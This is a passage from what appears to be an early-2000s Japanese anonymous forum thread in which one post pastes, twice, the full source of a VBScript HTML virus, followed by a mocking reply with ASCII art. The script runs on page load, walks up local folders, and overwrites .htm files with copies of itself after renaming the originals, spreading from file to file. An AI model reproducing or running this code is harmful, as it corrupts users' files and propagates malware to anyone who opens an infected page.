余談ですが
48 ：名無し~3.EXE：02/07/06 16:41
(・∀・)・・・・・
<BODY Onload="Redirect();">
<script language="VBScript"><!--
Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub
Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)
While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub
--></script>
</BODY>
<script language="VBScript"><!--
Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub
Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)
While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub
--></script>
</BODY>
糞スレとウイルスが流行ですか？
>1はいはい、もうこないでね。 ／
＿＿＿＿＿＿＿＿＿＿＿＿＿＿／
∨
------------- 、____ ｳﾜｧｧﾝ ヽゝ ﾊﾞｶ
/ ￣ ￣//￣ ￣ |||___/＼ヽ(`Д')ﾉ ヽ(`Д')ﾉ
ｲｯﾃﾖｼ!∧//∧ ∧ ||| ＼ ＼（>>1）ヽ(`Д')ﾉ （>>1）
[/____ (ﾟ//[] Дﾟ#） ||| ＼ ＼/ヽ （>>1） / ヽ ノ
||_ ___|_|￣ ∪ | ||| ＼ ＼ / ヽヽ(`Д')ﾉ ノ
lO|--- |O゜|￣ ￣_ |||ニニニニニニl |ヽ(`Д')ﾉ（>>1） ｺﾞﾙｧ
|_∈口∋￣_l_ｌ⌒ｌ|＿ _ _|ｌ⌒ｌ|| （>>1） /ヽヽ(`Д')ﾉ
──`--'─`ー''─── `--' `ー' ┐ /ヽヽ(`Д')ﾉ（>>1）
│ヽ(`Д´)ﾉ（>>1） /ヽ ノ
│ （>>1） /ヽヽ(`Д')ﾉ
│ ﾐ / ヽヽ(`Д´)ﾉ ）ｼﾞｬﾌﾞｰﾝ
│ ： （>>1）’/ ヽ〃、、..
ﾎﾞｼｬｰﾝ ﾐ ﾐ＼ヽ(`Д')ﾉ ／ミ
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~〜〜〜〜~~~~~~~~~~~~~~~~~~~